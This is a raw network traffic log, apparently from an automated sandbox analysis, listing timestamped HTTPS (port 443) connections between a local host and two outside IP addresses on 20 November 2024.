Nov 20, 2024 10:20:08.887142897 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.887211084 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.887263060 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.887294054 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.887341022 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.887485981 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.887535095 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.887984991 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.888005018 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.888020992 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.888029099 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.889409065 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.889436960 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.889498949 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890043020 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890053988 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.890613079 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890625954 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.890681982 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890774012 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890784979 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.890918016 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.890928030 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.890990973 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.891170025 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.891177893 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.915532112 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.915549994 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.915638924 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.915661097 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.915692091 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.915921926 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.915921926 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.915934086 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.915942907 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.918486118 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.918524981 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.918581963 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.918734074 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.918745041 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.531054974 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.531985044 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.532174110 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.532185078 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.532444954 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.532455921 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.532917976 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.532923937 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.533080101 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.533085108 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.534637928 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.534929991 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.534935951 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.535274982 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.535279036 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.543601990 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.543982029 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.543992996 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.544653893 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.544658899 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.582798958 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.583259106 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.583282948 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.583678961 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.583688021 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.631680012 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.631700993 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.631750107 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.631763935 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.631961107 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632040977 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632103920 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632103920 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632128954 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632152081 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632158995 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632298946 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632343054 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632467031 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632483959 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.632493973 CET	49813	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.632498980 CET	443	49813	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.635443926 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635458946 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635462999 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.635492086 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.635493994 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.635565996 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635571957 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635685921 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635696888 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.635859013 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.635879040 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.636053085 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.636101961 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.636151075 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.636151075 CET	49815	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.636164904 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.636173010 CET	443	49815	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.638089895 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.638122082 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.638187885 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.638328075 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.638340950 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.647239923 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.647753954 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.647847891 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.647878885 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.647878885 CET	49814	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.647886038 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.647893906 CET	443	49814	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.649734974 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.649760962 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.649936914 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.649938107 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.649961948 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.686129093 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.686384916 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.686439037 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.686479092 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.686479092 CET	49816	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.686497927 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.686508894 CET	443	49816	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.688901901 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.688940048 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:09.689059019 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.689228058 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:09.689238071 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.127222061 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.127254009 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:10.127310991 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.128366947 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.128381014 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:10.294209003 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.294668913 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.294696093 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.295330048 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.295345068 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.307153940 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.307548046 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.307565928 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.307945967 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.307950974 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.309252977 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.309633017 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.309657097 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.310039043 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.310045958 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.312391043 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.312724113 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.312747955 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.313165903 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.313170910 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.323604107 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.323935986 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.323951960 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.324357033 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.324368954 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.395059109 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.395252943 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.395333052 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.395409107 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.395435095 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.395453930 CET	49817	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.395459890 CET	443	49817	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.399328947 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.399368048 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.399422884 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.399625063 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.399636984 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.408121109 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.408194065 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.408236027 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.408441067 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.408461094 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.408473969 CET	49820	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.408480883 CET	443	49820	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.411344051 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.411457062 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.411503077 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.411673069 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.411689997 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.411700964 CET	49818	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.411705971 CET	443	49818	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.414370060 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.414532900 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.414577961 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.414787054 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.414812088 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.414848089 CET	49819	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.414860964 CET	443	49819	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.416721106 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.416764975 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.416840076 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.417071104 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.417083979 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.418615103 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.418653965 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.418709993 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.419336081 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.419338942 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.419353008 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.419358015 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.419415951 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.419497967 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.419507027 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.426232100 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.426353931 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.426397085 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.426969051 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.426980019 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.426991940 CET	49821	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.426997900 CET	443	49821	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.430681944 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.430713892 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.430759907 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.431018114 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:10.431029081 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:10.731076956 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:10.731168985 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.733803034 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.733818054 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:10.734060049 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:10.788422108 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.830441952 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:10.871335030 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.001594067 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.002206087 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.002232075 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.002764940 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.002773046 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.030317068 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030342102 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030349016 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030395031 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030405998 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030415058 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030443907 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.030491114 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.030502081 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.030544996 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.030983925 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.031038046 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.031043053 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.031052113 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.031104088 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.041570902 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.041587114 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.041610956 CET	49822	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:11.041616917 CET	443	49822	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:11.069586992 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.069977045 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.070774078 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.070804119 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.071249962 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.071254969 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.071260929 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.071289062 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.071721077 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.071728945 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.077210903 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.077670097 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.077688932 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.078103065 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.078108072 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.101792097 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.102253914 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.102281094 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.102884054 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.102890968 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.113521099 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.113645077 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.113698959 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.113951921 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.113974094 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.113989115 CET	49825	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.113995075 CET	443	49825	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.118535995 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.118567944 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.119343996 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.119343996 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.119383097 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.173887968 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.173974991 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.174040079 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.174210072 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.174228907 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.174242020 CET	49827	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.174247980 CET	443	49827	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.175878048 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.176101923 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.176148891 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.176230907 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.176232100 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.176378012 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.176393032 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.176419020 CET	49824	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.176426888 CET	443	49824	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.177705050 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.177731037 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.177792072 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.179045916 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.179055929 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.181627989 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.181657076 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.181723118 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.182441950 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.182451963 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.185301065 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.185583115 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.185658932 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.185792923 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.185807943 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.185820103 CET	49823	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.185825109 CET	443	49823	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.188596010 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.188621998 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.188673973 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.188985109 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.188997030 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.211338997 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.211422920 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.211471081 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.211517096 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.211560011 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.212125063 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.212141037 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.212156057 CET	49826	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.212171078 CET	443	49826	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.215329885 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.215373039 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.215439081 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.215754986 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.215765953 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.764168978 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.766536951 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.766536951 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.766562939 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.766577005 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.818032026 CET	443	49830	13.107.246.45	192.168.2.9
